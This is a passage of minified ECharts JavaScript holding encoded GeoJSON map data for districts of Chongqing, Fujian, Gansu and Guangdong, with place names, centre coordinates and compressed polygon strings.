VIV@@wVJ@InKVxXal@@U@U@KlUnwUW@kVU„KUmVkUa@I@KW@@bk@@mƒU@m@k@a@aƒIUxmJk@ƒwULƒwkKmVVX@VXV@xVLVVULmWXwWUU@@nUJVL@KV@UVULlxnL@VnUl¼@l@XVxVVUbn@WbkxUšlVnU@m"],encodeOffsets:[[109452,29779]]}},{type:"Feature",id:"500107",properties:{name:"九龙坡区",cp:[106.3586,29.4049],childNum:1},geometry:{type:"Polygon",coordinates:["@@XK‚L@Vš@XbV@lW@UV@@VXIV@U™VKlL@KnnJ@VV@VU@I„@@mVUVWUUmL@V¯LUK@UV@UU@a@U@yU@WLUK@X@KUVmL@ƒ@aXI@w@ammVk@WÛwm@UxVVVbVLUJVxVU„V@V@X@JUIVbm@@Vk@@VkL@lVLUJ@zWJ@X"],encodeOffsets:[[108799,30241]]}},{type:"Feature",id:"500106",properties:{name:"沙坪坝区",cp:[106.3696,29.6191],childNum:1},geometry:{type:"Polygon",coordinates:["@@Xºl„UVl@UbVXUV@xVJVzXJVUšL@VV@VKn@@Xl@XK@UmÝnKVbVakkVm@k„ƒUK@UmIm@LkKULVšU@WJ@UU@@VkXU@Wa™@@UKWL"],encodeOffsets:[[108799,30241]]}},{type:"Feature",id:"500108",properties:{name:"南岸区",cp:[106.6663,29.5367],childNum:1},geometry:{type:"Polygon",coordinates:["@@VV„JVL@bUVVnl`XIlwXJlw°nnl‚IXW@UÇĉk@WJkwkLƒ@WVkU@LU@U`W@UXUV@n"],encodeOffsets:[[109092,30241]]}},{type:"Feature",id:"500105",properties:{name:"江北区",cp:[106.8311,29.6191],childNum:1},geometry:{type:"Polygon",coordinates:["@@nLVU@wV@lV„@Xll„ÈKlU@L„@@bVKnx@I@JVaV@„x@Il@@Un@laVVn@mkUIm`k@WXJmk¯mkxWIkxWJk_UmVUUKƒ@UU™@ƒ„@l"],encodeOffsets:[[109013,30319]]}},{type:"Feature",id:"500104",properties:{name:"大渡口区",cp:[106.4905,29.4214],childNum:1},geometry:{type:"Polygon",coordinates:["@@k@@U@w„¥WKkVkImUmwa@b@xWJ@b@„nKVU@L@WVLXKV@@z@V@bVVU@@VVL°K@U"],encodeOffsets:[[109080,30190]]}},{type:"Feature",id:"500111",properties:{name:"双桥区",cp:[105.7874,29.4928],childNum:1},geometry:{type:"Polygon",coordinates:["@@WwUwU@kK@KmbU@@V@XlJ@znWlXV@XK"],encodeOffsets:[[108372,30235]]}},{type:"Feature",id:"500103",properties:{name:"渝中区",cp:[106.5344,29.5477],childNum:1},geometry:{type:"Polygon",coordinates:["@@VLš@VV„@VL@aUKƒIUUƒ@@JUVU@"],encodeOffsets:[[109036,30257]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/fu_jian_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3507",properties:{name:"南平市",cp:[118.136,27.2845],childNum:10},geometry:{type:"Polygon",coordinates:["@@@knyƒk@ƒKU¥šwV@nkƒWƒzUmk@@lKUa@aVI@UƒKUamKUUVaUI‚@Xƒ@UV@K±IUVVlUbUbUL@KWUXmWk@KkXmmkŃKUƒ™a@amUƒbkUkKWUnwUƒÇwV™UUƒÝUKV£U™@ƒnKWwXLVKm¥@wUXkmWk@ƒ@wX@lU„@šyVImaXwVƒƒ@kŽƒnU@mbk@mlUXƒmU@mV@n@bnW@bUIWJ—ImVUKWbUK@nkKƒaU@W_VUUmWmL@UU@™bUWUL@V@bmVUz@`mUUVVbXL@V™L@lmLUxmVamXkW@xWbU„VbUxkU±@ÅUmmkLUbW@@`kLknVlV@lbXxlVUXVV™ŽU„U@UbWŽkIWVUUUJkI@llbUxVL@V™VƒUU°ULUmWXUV@VULWb@™xm@UaVLVKUa@ƒw@V›bkmVambUUm@@VkK@„@b„xlxX@‚„n¤@Xƒ@@lkLWV@Žn„V„kb@bWJXLWx@nkxmm™bXn@VWVUn@VnJ@bVXl@„™VJXnWbX`lL„UlJVI@Žœ@VXV@Vl@bn@@Æmn@VšxXU@mVIlxšVššnI„l@nVJ‚aXI@mlU@aXkVm°klmnVV_naš°@V@xܦXK„V‚nnUlVXbVK‚LXKV@naV@@VVl@@lXblXšWnLlbVK²nš@@‚VLUnlV@lƒXxô°‚V@UnaUUlKXLVUVVUbVVlUnJVX„@VW@an@lb„@nl@VU@anƒšUVW@kƒaUm@InVVKVU@kUW@Uam@km@kVa@a@™nwšU@WlI@mVI@WXaW_nƒ@™nƒlkkW@U‚¥@kV@Uw@wUƒ@@IXK‚¥VIn@nU@`@Xl@VV„LnašW‚bVaUwnU„@VIšKlV"],encodeOffsets:[[122119,28086]]}},{type:"Feature",id:"3504",properties:{name:"三明市",cp:[117.5317,26.3013],childNum:11},geometry:{type:"Polygon",coordinates:["@@lL@Un@VVna‚bnUlœa@U‚x@„VbULUKVbn@šw‚@XaVK@UVUXWVnVKV¯„VšU@UUKVwka@klJVIVVXUlJXVaV@VƒšUUVWkUWwkaU@UklmlK@_X@ValKnnÆV²@lVVwUaVƒXa@wlXnW‚bnUVwnK@kšK@UWKUaVUnV@_VynU@a@UVKVXšaV@@VnKnXVV‚UX`V@„blL@mVLXaVLnU˜JXIVJ@amX@a@mnUV@„nVWnkl@naV@„ml„@@KmKUam@UU@ƒ@UlKU™Vk™U™K@aVaUwV™U¥UIkJ@wmI@‚mbkwkVW@UXƒKULU`™IVKUa@LƒkkVmUU@WlULUWÅU@I@ƒWW™nU@@w@a@ƒUam_XyVIVWkkƒ@mwVKXUV@nw˜VXkWƒÅ™U@ƒaƒU¯KUnƒK@ƒ¯šmUƒLXŽVLnWVbVbUVm@Ub¯¼W@amƒ`kb™amLUUUƒ™aUXV`@x@XmJ@n@L@xkJUU@kU@mWm@kUUwUUVWl@VUkIƒy@kkaVUUm™IWVXbWxU@k„mVkK@nWVX¦WxU@@bkx@VU@WŽk@™kUbmJUUmkUW@_kKWKƒ@knV¤kIUKWLUbV‚@Wbk@@VWL@VkI@lUXVxUVU@@mWIƒV@a¯nUaƒaUV@„ƒJ™b@bÞ°VbUš@X™aUVmL@‚VXblŽnV„°˜n@Vnx„@VUUUlK@InJVb@„Vlnn@V™L@VWJU„x@XlJUVVVl@LUUUJ@Lƒ„@lUL°¦k˜V„VnV@„xV„„l@blLnlšLVaXll@šnVUn@‚xn@nml°‚X@lb"], +encodeOffsets:[[119858,27754]]}},{type:"Feature",id:"3508",properties:{name:"龙岩市",cp:[116.8066,25.2026],childNum:7},geometry:{type:"Polygon",coordinates:["@@ša„I@ƒVU„bVb°m@b„UXJ@nV@VUUwVW@klJ@UXK@Ul@Xa‚@UVaXKVLlJU£lm„@XLlL@`VXnlVVnIVašll@XV@@Ulw@aV@XwW¥XU@mlLnUlƒV@XwWaXUšJVnUVlb@l„zlJUVk@UXVVVxlVn@nXV@@lVVlI@w@K@mnI@W@wU_VWšbV„VVnKšbla„_n‚bX@°»Van@VUUaUamXUKW„K@a@Ukƒ@wWkXƒWW@wUU™Kw@_lyƒwUkU@@Uƒ@kamVmƒXašUVUka@Wk@»UUUVƒKkbWU™VUbk@mkƒxkƒƒKnIVUmW@kUKmXUmVaU@kU@m@KUWVkIWJ@ŽU@UI@wUUUa@KW»nU@mVkUmm@XwWU@ƒUUmL@ƒw@mnƒVUU@aWak@@amxU@UxULWVXbVLU`mbUImVU„ƒbn‚V@@bVn@bnVWxLmyUbƒIUKƒ@aƒVm™akbV‚UXW„UlKWbkV@„WLUlk@@nšbƒb@lkKmU@ƒUIWJkw¯UUVVxm@@XkbWx—›XKƒlUzWJkUUL@bmKkVƒ@@VUIUlWV@X„K@VkbWx°xUb@LUbk@@VWb@LXJ@VWXU@@bUVV„VVn@VVlLn„@l„@‚xk¦Vx@bVJXbƒn@JlnXxV@@„nJ@X@V@lmx„bUn@xVL@VVKlL@l„„nLVaVL@xkl@LƒxVl°š„X„WVX„Vl„œJWnxlJ"],encodeOffsets:[[119194,26657]]}},{type:"Feature",id:"3509",properties:{name:"宁德市",cp:[119.6521,26.9824],childNum:9},geometry:{type:"Polygon",coordinates:["@@@LVKVaVaUkVU²J@LVU„@@W‚VJUbVVnLVb„L@VUJ@bVbkL@Žl@Vn„y„XmlU@™xV¦„L@Ž„lmz@lnL@bVVšbVb@l„nšKVk„Vl¤@zXV@šl@XJVLVKnXVK‚VnU@wUm@šKUƒ@UlVlw@U@U@ƒUaUKlU@kXKlmXIWKXaVIVUVK@KU@@k„JVUnLVJUL@V‚IVa@VnLšKUnl`Vb„V„V@š‚Vbn@Vzn@lKnVlI„VVKUalkXJl@XXVWVLVUUmVU@Unm„£lK@Uk@WUXK@U@WVwVkšƒĠkĢǰaUÅUwmaţƒɱUÇa™w„±V¹XalKôx„@„UVaÜʓͿVóbÅLƒJm„¯Vk¦ƒŽk@mamXkKUƒUL›akbk@mV@LkJWb@Vk„mXk@UVmaUV@amLUKUamI@KUaU@WbU@UUUƒUIWJUkm@šƒw™Kk„VJm@kxǁVƒUK@mUVUkmlkkVm@amwƒLVWU@UbVLkšUbƒ@VƒmK@XaVWU_VJnwV@@kUmWakxƒ@kwWakIWxnbUJ™zƒ@kVW@@x@„XllnVW@xn¦ULWKXxmL@„VšU¤VL„ÞVVUšÈxV„mxXVlLlV„anV@bšbV„„LlÆnnlW@LXlWnXV"],encodeOffsets:[[121816,27816]]}},{type:"Feature",id:"3501",properties:{name:"福州市",cp:[119.4543,25.9222],childNum:9},geometry:{type:"Polygon",coordinates:["@@lxna@nJ@xlIVJV¦UšVxUb@bšLšVUlVškL@V@„VVn@Vb‚Ln‚@LU„lJXblx„@lwXbVn@lU@mxUIV`UXWb@‚nLU„„@Val™UKVaV@UX„Knx‚bn@lUkllnUVnV‚@VLU„È‚lwn@UIlƒšL„x‚™n@VlXIVJV„VVV@XaV@Vb@LnJVbVLnK@bVUnbVUl@nWlƒ@UXalI@KnUl@laœbVKV„lLnWnbl@„l¥°Unƒ„IÆKôa΀U„a@UUwÇWǓIUWUÅVkƨm@ƒ@£@KmLU¤ULˣJ™kUƒVǟUUķ@ĉVƒKUk@Ѱwôǚç@īšé@Åţ¥mīÛkm¼Å@ƒVķVó°ō¦U°ƒn@bVJXVVL@bUŽƒakLmx@xmxXzW`XbWnXV@bWLÛ@™aƒ@ƒaXbWVkaÝwU@mlWKkLWWkLUKULW@kVmVUU݁UamV—¤›n@xUVUzkJV¦lJU„"],encodeOffsets:[[121253,26511]]}},{type:"Feature",id:"3506",properties:{name:"漳州市",cp:[117.5757,24.3732],childNum:10},geometry:{type:"Polygon",coordinates:["@@@bl@Xb@bVVUŽm„@n„x‚@nKVV@„XVWxn@VnUl@nmVX¼@LVbVV@xVJV@@XIlJXU‚V@Ln‚@lVV@UbVnnWVL@lnXUVmJ„Ll„„wnll@VašUXVla„LVUVV@¼Xl@lbUV™VWbn„nUlb„@@VV@„aVUšmlUašUny@kU@Wkk@WaUVk@@ammk@@U@UlU@aUa@wl@šmXLllnL‚U@anVnU@L@VVV@KlXnWVnVanUšw@w@wm›nÅ@wƒaUam@Uk„mUl@@a„a@U@¥škôK‚wȯ°w@ŻkwǕaK›ÑÛk@ĕōřċ£ĵƒUKW»kÅŻLU@Ulġw@¤Vz™VUbkKUbmLmlULU¼UxmbXl@bWVƒb@bUnV‚UšVbULU@@VkbVL@`U@WX@ŽXV@b°„@b¯š@¤@Xm@@b@`U„VVUL"],encodeOffsets:[[119712,24953]]}},{type:"Feature",id:"3505",properties:{name:"泉州市",cp:[118.3228,25.1147],childNum:9},geometry:{type:"Polygon",coordinates:["@@Vl„xkz@`‚xšLVV@xXXW„Xl@xl„@V@bnV°™@„„LVm°L„V„bV@ƚX„Wl—UmxU@WVULnx„@llUXUJWzn`Vb@„@b@xV@šmXX@„@JÆVVXVKXkV@nVlU„l@KVbULšJV_VK„LVWX@lUVƒkIU¥lIVyVU@wœm˜£nUVWU@aƒm@UmWw@UX@@am™VUn@@aUUlUVanaWUXWmUnkšK@VšUlVVUUwš@XLWWX™ma@knm‚bVb„VXbVL‚@XJlInlšL„w˜mXóšw@çV»ÇçŋaķƧóƅóKġ°nÅUķƑUÇW@—¯xǰöÆlV„n@llšaš@„Lšbƒ`™@™„VšXVƒVx@V@bULVJUk‚Ç@ƒ¼ƒXUKk@mmULkaWbk@ƒx@UkL@a@K@U@UmKmbU@kV@UmVUbUmmXkW@LUU@U@KmVmU@bVmKkkWK™nk@@xVb@bkV@V@Vl@nn@bl@VUXbl@XlV@@lmz™VVbkŽ™nUVƒb"],encodeOffsets:[[120398,25797]]}},{type:"Feature",id:"3503",properties:{name:"莆田市",cp:[119.0918,25.3455],childNum:2},geometry:{type:"Polygon",coordinates:["@@VbނVVnUlUX@VKVLlKXXlKXL‚‚nkV@ÞxlbXUWa„b„@šbÜ@XK@aWUXmWaX_Wynw@wnwlK„bV@aUKWUUI@a„mV¯Ŏ¥ô¯ĸU„UÆ@n»¯aƿé@ţ¯nĉĬÝK™óó@™ÑU¼@è™xWô—nƒx™KmkkJWI@UKWaƒUUaamn@lnbWšXXWK™@VxUVkU™V@U™LmlnVWXXVmbUbkVVV@bm@UVnš@bW@@VXx‚n@V„n@bV‚UX"],encodeOffsets:[[121388,26264]]}},{type:"Feature",id:"3502",properties:{name:"厦门市",cp:[118.1689,24.6478],childNum:1},geometry:{type:"Polygon",coordinates:["@@@VlUV@nanL@V@V@L@blK@V„wl@XalbVKnnl@VL„W„»È@lVUIVK@a@UUw„WUU™šƒš@„_™aƒK™@™bkkm@UƒkõŁxóL™l@¦@Vƒb@bk@VŽƒnVln@Vb„b@xmÆnœ@x@x™x"],encodeOffsets:[[120747,25465]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/gan_su_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"6209",properties:{name:"酒泉市",cp:[96.2622,40.4517],childNum:8},geometry:{type:"Polygon",coordinates:["@@ÇnÅaĉ@ƒU¯¥›UŹ‚ƒ£™WUýUU±JkkUw‚yÞIČxĊĕĊ¯š¥ÆUkţ™UÅÓ±¼™IUx¯UƒÒƑ‚ݐŰƒKÝnğ°ÅU@Žƒ@Vn@þš¼¯šWnŎ°XLWlnVnbWnƒVXxmbƒa—bóUƒlǕUUa™IUmlU™ƒš¥™kƒ¥ĉwkkƒÝɛa@¯™™U¯°mVƒkVnKlƒōÑÇÑU@kl™UġŽkUŻnUW™@š¯ƒk»šmWV£UKnUƒmUw‚w@ƒUIVaX™šwm»Èmmwn¯ċ™¯LĉŽUƒJUalka±Va@U‚k@ƒÛф¯WmnUaɝ¤Ûmƒn¯m±x@wóxÛLġÒUx¯VƒÈ™JUbóz݃ÇKĉ¯ōlÝUŎWl¯nťbÝ@¯ǩLġmV@ƯĢkÆm™ĊkVťLɃmÝXó°@„ĢbVŽóVݦɱ@Ƨaġ„UV„ĠÇÈV¼UVţwmbJÇwˋa™XmǯKkkmŽƒbXšm¼V¼Ǭڲ¤ôŰÆƴô̐ŤǪnɆӨ¼ɆLÆłUĊšxŎƞȘǔˎǬǪnƨŮǬö°»šġ„„ÞÜÆĸÒĊ„ǀbƾèôÈ@¼¯þŤĸƧ°Vb@lÈĊ‚šʠń̐„ȘKǀŽֲॗţÿǕý@ʊǓƨóÆÑǖŃôw@΋ʈƆÅÈVVĊV„óĊÅ@ÞƒĬV@Þīš@°Ž„V@ĸ̃°XτƜĠ@ÈaÜ¥Őƅ‚™nğóĕVġUůƿŋ—ĕƒa±V—UťÇğÑ"],encodeOffsets:[[101892,40821]]}},{type:"Feature",id:"6207",properties:{name:"张掖市",cp:[99.7998,38.7433],childNum:9},geometry:{type:"Polygon",coordinates:["@@ÈÒŎÒk„mLUŽlŽU„¯nV°šš@°ɜb„ÞĠaÈ»ĸl‚š„LVUÈ@Ċ@ýUm„@@ÆVĠ¯Þm„LƯޏƒ„ѰVVwšJ²»ÆÔšVlŤÅV™¦ĉ°ĉĖċwÝJzVxll²IVVVþšX„¤źœV°¦„VĊ@ÆbÈmǔLĸĠ¯Ģaô¯ĸmÆÛUƒlÇĸk°XyĊUǔV„ǩnmV»ƒa@ýnK°n@l¥@»ż„Ċ¤m皃@£ČU@mƒmVkÞUƐ±²¹°‚ĠwÅƑŃU¯™›V¯aÈŁšƒÇ»™ġn_°xŎKlxœklx„@Þw‚„„@Æm²b‚DzLlkšWXať¯ĊaœÑšK±w@wƒUÅçV±Uk™@@„¯š¯xƒU™±±UU°ōxVxÅÔō°ó¯UÝ¦óbÝþƒ@ĉÈóUV‚Ux„„@VŽUVÝwÅÈǎóVkk¯JǐkmmL@„™KÇx@bkš™@U°ķ²ó`ƒš™šmn¯°ƒUwlÅkUƒ`™¦ɛô™Žķz@ŽÅnǰU¼¯KmVk²ƒJƒ¼ƏÞķôš¤ULƒ@mnğ`™šÇnUxÇ@Ûÿ™U@ƒƒkŻŽ@x@móJkŃ¥VŹĉóÒĉlċ°ķ„Uƽ܃@›x"],encodeOffsets:[[99720,40090]]}},{type:"Feature",id:"6230",properties:{name:"甘南藏族自治州",cp:[102.9199,34.6893],childNum:9},geometry:{type:"Polygon",coordinates:["@@ލš™nKlnšwX¥WÝXk˜xÞUnƒ°aĊVnUUKlÞĶWXnĠ¥ô»„™@nmVL@¤°™Vz„JšanU@aÆwna@k›ƒU¯šyX_›aĉb™ƒ„wƒéXkWwÅaš¯V¥mƒ¯UƒƒI@ƒš@„mšb°aÈçšUš¥@»‚knwɜƇ°I°ÑÈmVU™¯Xa@w‚W@wšV¯Č¥l¯Uwnm@k˜aUaóKkk@™Ça™b@ށÒWa¯IÇxÛam¼™VUƒxÒl‚@zÝÒ¯bÝaĉVĉwDށW›zJ™mJn²mܯUƒ¯ĉ@ġ¤Åb@²nšmlƒ@@Ž„„U„ƒLVxšV™„U¼Ålma™b@ƒ°™l@WIUƒ¯@mƒ™@™™ó„™„@U›zţyƒXÇU™ÇVUUVLkbWakVWmUbkkƒKUÆ»nƒ°Knk@aƒUVmšnk»l¯Ģ›lw@_kKVU@ƒnaƒ@lUk@¯¥mV@kmbW™b¯Åõa@mkU@kƒÇŽkU@›`@™óó—bl¼Uxƒn„¼šlVȄx@blVkVVnƒ`XÈġÈ@ǃK£ÝJmUUnUĖmlU„mKUn™VÅaUw›Uĉ`¯n¯wW¼nxVŽ™š@bĉnƒ‚kIċŘkXUŽ±Ò™xšÈ@ŽX°`l„œV˜IȯĊV„ƒšVVan@VašUVażVmšblkÈW„ƒWIXa„alL@wVb„„V„¦lL@lĠ™n҄U‚nk‚šL@ÆÞkšÞšK‚bñþW¦Û„ċVƒ„ULUºkÈlŎUxÆxÞUUxšÒ‚x„@XbšL@lÆ@„ÒlXVln@„bm¼ƒJ@„Ån„šƒx@bnšĠm„xVXmbÈè@ŽĊ£ČW˜w"],encodeOffsets:[[105210,36349]]}},{type:"Feature",id:"6206",properties:{name:"武威市",cp:[103.0188,38.1061],childNum:4},geometry:{type:"Polygon",coordinates:["@@±¯¥@klwU»ƒƒÞÝmwKm¯™™ç@™kVÇUL¯lVUKġ„ġm@a@U„@X£°l°LŎÇ@aōVÝw™ÔƒKUŽÅš„WJ¯lm@ÛVWa™@klĉUmaƒLUanaƒ™ƒk¯J„™™±KkXóÜÅxƒ²Ç‚@„„nUÒĊb°@™ÆkL™Ž™XÇÆ@xÝn—xWxţ„¯¤ƒI@Æn„ƒVV„VlU²Æè„V@x²x™L›ÒĉbŦ°Wb™Xklބš@l¤šXĊ`„wl@ĢÈŎm@bšnV‚Ubƒ„@șÆÛLƒèǚUÒŦlĸ™`°ĮʟÆǓbĉôϚĊƚĢnŤé΀ÑĸĀĊ¦„@@l°lœ¦Ȯ¦ɆÞĊKŤ™ĵĸů„»mفyġ™ķŭ@Çɱȭ¯mƧUĊķnŁŻ»UaU™˜ƛɞÝƨů"],encodeOffsets:[[106336,38543]]}},{type:"Feature",id:"6212",properties:{name:"陇南市",cp:[105.304,33.5632],childNum:9},geometry:{type:"Polygon",coordinates:["@@šÈÞ@l`UmVƒ¼œŽ‚@nnÆwVlnVVa„LVƒÈ_‚ÿރ@n„a„xÆ@„lš_š@VxnK@llLnxmÈŎJnbUxšI°Žl@n¦‚lÈIlmX¥„k°@šk‚J„k²é˜@klaUaVaU@@ÝnIWnmnx‚k„ºÞ„„aV™°„V@nw‚KšxôbÞ£šVšU„bšþšLn»mƒVw„IšJ°Ž@„nb@°°I„ġUkÇKVƒ™™@ů»lƒ„Lnmƒ£@anK@Ñ܍n@»mL@£™yk„UUmbUÞÝ@kyÇbó»™XUxƒWVzb±mÝbXaƒwUamL¯»@wUKVwm¯ĵJ°ÅUWVk„KVk°wÈVšVуlUšƒ¥škmVamknƒUw¯¯ƒbċ¥ÅKƒk™Kk„™VċVk£kKVw‚Ñ„a@kóyÛ¯ÇVk™ów›š—Xō¥Ç¼ów™Ž¯U±‚k„ƒ@x›IĉÒÅVmÈnšÜ@n°„bUbÝV‚ŽUnnJ¯Į@‚m¦nV܃@„„L°JXb‚Ñ@šaÈb@šllôLVb—b@lmnVxk°ċ¦U°™Ž@xX@xWbš°UVÇn¯Ò¯Jɛƈmxl@¼"],encodeOffsets:[[106527,34943]]}},{type:"Feature",id:"6210",properties:{name:"庆阳市",cp:[107.5342,36.2],childNum:8},geometry:{type:"Polygon",coordinates:["@@kw‚ĉ—»VamƒƒV¯wƒIóVkl¯™Km™Vō¯ÝWkL@bÝKō¦@Ž™„@š™Lx›@b@l™a@km@@l¯nm@UaÅ@ƒ„óWUXm¥™nƒw`@UUxķôǰğ¦@„VJš_n‚‚IVŽnalxkX„JWn¯šnVƒLšxl¤nnVbklVX@xnxmV@bUK@nm@@xƒV—°±aÅnƒŽkUWnUaƒx@m™n@ƒ¯LƒššmUĀlU@lV@blLUblxklkIÇx¯°‚UXbšaVŽUnšV@°‚LUlnbšX@`°nVmbnÆmV‚kLmK™¦UŽ@X„y@kl@U„°K@¼XbW„ƒš@b„WnLVa„VšƒVz@xlVČ¥lbUxލlV„U@nÆWôn²™VJlU„Ƨ„LnmÜLXa˜n@mœw@wlUlV²mšblwšVȃlLލ„±@lVnUlxnkma@mškšJ@kXV‚U@mn@š¼VXUƒVƒlLnmVbôaVnWV»ÈUl°È¯ÆIn›ÆU@kk»mKkÆġk¯@»mƒk—¯@óÇlÇ@—Vykkl™Uml¯Þ™@w"],encodeOffsets:[[111229,36383]]}},{type:"Feature",id:"6204",properties:{name:"白银市",cp:[104.8645,36.5076],childNum:6},geometry:{type:"Polygon",coordinates:["@@VKUȚl@šè°šnŽ‚LnxÝބ„V¼kx@l‚¦²°ĊóĠ„™Ċ»š@ÈxšaĊxlwÈVŤa@¯²aÇ£ƒJk£lƒnUÞ@°šô™@y„wl»lIX¥Ǫnw@ÑÞWla„ÅlL@ƒUwĉakƒl@ƒš¯mwna°J„V¯nUVÓÞÑm£²óWaUƒÇ@óÝUçV»ÈkkW@¯‚xV@XlK@wX@Vmm_@wÈݙKU¯ÇwVwÅK¯VƒkƒJ™™™XkWVaƒImޝUk„ÇlVšœĀV°mxóšk„@¼ó„WxĉÜU@Ub‚zÛJÇk@‚ÆnVlԙ@kŽ„x™ô@ĬWL¯ƒƒK@aÛImm™@ƒIUaƒ@™™UŽÇêU¤VÒÇx¯ÒV„šš™lk@Wbĉ¦UbkWV_‚y¯Lƒaó„kŽ@b@nmbkx„°"],encodeOffsets:[[106077,37885]]}},{type:"Feature",id:"6211",properties:{name:"定西市",cp:[104.5569,35.0848],childNum:7},geometry:{type:"Polygon",coordinates:["@@„a‚V²wVJV_@„LlanÅllŦçÜӚ_šlnƒWaôk„xUš„bmV@È°lèšnk°l¦„`@nnL‚@ÈlÜIyVaV@ĊÛXwôƒ@»lƒô™nwU¯›ÿU™Èklƒ°Vn„JUblXšWšš„I„l°U„ƒVƒš—@aVVVmnL@„lƒ„UUw‚mkƒš£„bV¥VUVwۂƒlaÇÝރmk£ƒLUy¯L@WlkKW_XaWƒ—mƒ„ġU@a™k™‚ƒakXkmVwmŹVƒU™b™WƒónmwnWW£„KÈnV¥ƒ¥„ƒÆ_k™lW„bU¯„V°aôbnaVwmaōInÇmwkK@kmLUw™@™`ƒkÅ@ƒwƒb@m݄ĀÇ`U„ƒKUbmUUkÅxmm@›„»nUVk_Ý@™Ç™¦™VÇè¯b™aƒn™@@„„JV„°Žn„U¦™°ÆbXxWl„êƒxš„ĊaœbW`™zV°œ„@lmbÅx@bmV™bƒI™`™¦@ÒUVUI@ƃL@bš¼@ššŽ@„šlmxnL„°ULƒŽƒÞğޛ°kLUŽƒL™°™xVŽ„n„KVƒl@šzX@"],encodeOffsets:[[106122,36794]]}},{type:"Feature",id:"6205",properties:{name:"天水市",cp:[105.6445,34.6289],childNum:6},geometry:{type:"Polygon",coordinates:["@@UyȍVƒVUnn@ƒVU„`UblzšJnk‚@Vb„KU„°l„wš„„W°„nkVŽ‚UÈlš£°V@n¥šV„kl™kU˜±U„ƒn™ƒlw¯UkwmKUlmkUmnkym@ō@U„mWÈU°l°anlJškUKlU„¯Èm@kmWV»kkÝLUWUx±b™@¯ma@ƒ¯™IƒJUxn„m¼™K™ýƒa™V™Uݤóa™wLmxU@¯ƒUšƒb݃ƒ¹lmwmnXŽmJ@ÞV@UbVbkblŽ—@±êƒlI™l¯@ƒlW¦knÇJkm¥k@¯™Jmbóa¯bƒUV°ƒakXlšÅ`ƒ„„¦U¦ÇmƒLX¤mXnxm‚„ôšXša„VźUnŽUxlnlW„bššl@bĢV„ƒ˜nX„WbX`lLXk@ްKVz„Kl¤„nÞ݂Èkb„‚܁"],encodeOffsets:[[108180,35984]]}},{type:"Feature",id:"6201",properties:{name:"兰州市",cp:[103.5901,36.3043],childNum:5},geometry:{type:"MultiPolygon",coordinates:[["@@lW²LššƒŽ°I„l„šmbVb„KnbĊVlkš@XbÜU@Žkn°‚XIƒÆ™V„LšÓÞxŎUlôƒ„b°KzU`lXVaĊ¥Xal@šk™™Uƒ°ÑÈwUтV£ÈéVšš„@Vb„Jš@nnÜJ@b„L°„XK@īšóƒwlš@kÓmUÅmK@mƒ_k¥l¯™mkçǯ@nUƒaV™ƒwólXbm„™k™`ÛÔťèkkmÆkbƒK@U`UI±xUƒbWlX„mbVbÅÒólkƒƒIWJkšƒ@ƒz—Kݼ™@™xUx󎃄¯LWb@ŽÅ҄„±¦U`nbťĀUšVb„LšŽ„U"],["@@ƒ¯lwna@mōȯK¯kW¤ƒ@@V@bĢñVLU‚°k"]],encodeOffsets:[[[105188,37649]],[[106077,37885]]]}},{type:"Feature",id:"6208",properties:{name:"平凉市",cp:[107.0728,35.321],childNum:7},geometry:{type:"Polygon",coordinates:["@@ÆLUxÈxV°šLÇÞ@xn`Ü@X@nĊŽÆwnJmwUx‚aUkšw@V@w„aVmlLXÝl@X‚VĢmV°@nl@UUUWK@w„ÿVI²Òlmš@nÝĊýVV@nšJ°„„šUłm@kV¼nK›ĢȤôK„blnKllVk²aĠ¥È¯ĸóVw@V‚_„xšmn¦VWôX„ƒÆ@Vbn@°m@kn@@lšb@k‚aœ@‚wšK@™šƒ@UlKVaƒWX™W²¹lӄw@_°›n@@_lKōķW™@ŽmLUWƒn™»Û@›l_Ç`ƒÛmm°ÅbWb@š—VWbƒUUKDŽÅaġlmkUġlƒ»—Lƒl™Um¦@ޝU™¤ÇkVUml¯ƒƒX™ƒƒx¯kVƒƒLUa@ml™IkyVaƒ_UV@„mmUVU„ÇŽVzUxUVU¦ƒa™¤l„nVxƒVk„@ƒmKUnUU@b™˜U„ƒ„","@@@Žż@™mlkƒġk"],encodeOffsets:[[107877,36338],[108439,36265]]}},{type:"Feature",id:"6229",properties:{name:"临夏回族自治州",cp:[103.2715,35.5737],childNum:8},geometry:{type:"Polygon",coordinates:["@@š@ż»˜L„y„@l™XI„Jl„ôkÆÑUanaWƒXkW@™yk@U„ƒLƒmUšwš¯„KVlKœ¯Ġ݄݄VKƒ¯mKnw™k@ƒ™@™™»@a„K@ÅVJVU@њ¥š_Uy¯š@£UKmn@‚ƒšó¼ğ¦WmĵXݎkŽVLmVĉU¯bm„ÝV—wWlXÞW¦™xkmmL™šÝŽœ„±U@Vގ™š@„ÅÈW°X„ܼƨyUĮnŽWŽnXÝxUx°lVXJlôV"],encodeOffsets:[[105548,37075]]}},{type:"Feature",id:"6203",properties:{name:"金昌市",cp:[102.074,38.5126],childNum:2},geometry:{type:"Polygon",coordinates:["@@šĢȼ™„Çł°bœU°šV‚ƒń‚ÆǖŰnšÆ„ōĬǔaʠůĭš_kķÆ¥VÑș„çÜKšÅ@DŽƒVaU™m@aōnġÇk@ƒxĉ_™Wk£™@݃±KÈ±aÅnƒ@ƒÝxƒ@kw›lkwōL¯wm`"],encodeOffsets:[[103849,38970]]}},{type:"Feature",id:"6202",properties:{name:"嘉峪关市",cp:[98.1738,39.8035],childNum:1},geometry:{type:"Polygon",coordinates:["@@llĊx„¦šl™¦š„kVVnšJVbǖV„kôV˜a„bnaWw„UXmmamUXkWKō¯Xm°™™»ĉÇ@UVƒK™ķkǼğb"],encodeOffsets:[[100182,40664]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/guang_dong_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"4418",properties:{name:"清远市",cp:[112.9175,24.3292],childNum:8},geometry:{type:"Polygon",coordinates:["@@lǯkÿƒaV¯™VaÈU„¥ÆÇ„Ilxšmnb‚Uœxl™„Uôl°kš„„Wl„š@ô™VwUanUl@„xVkšaX¥‚kU»„aš¯±@kka@ƒUwmUkwƒJk™˜„±k@ƒ™™L@ÝWUwV݃—xÇU¯ŽÇX@m™Åƒ@@yĉ£VmUwȗ»ÇšUn„lUnWU¯`Ukƒ@@„™x„Ž@bÇxX¼ƒVVš¯LšĀk‚ÝLƒ„¯@V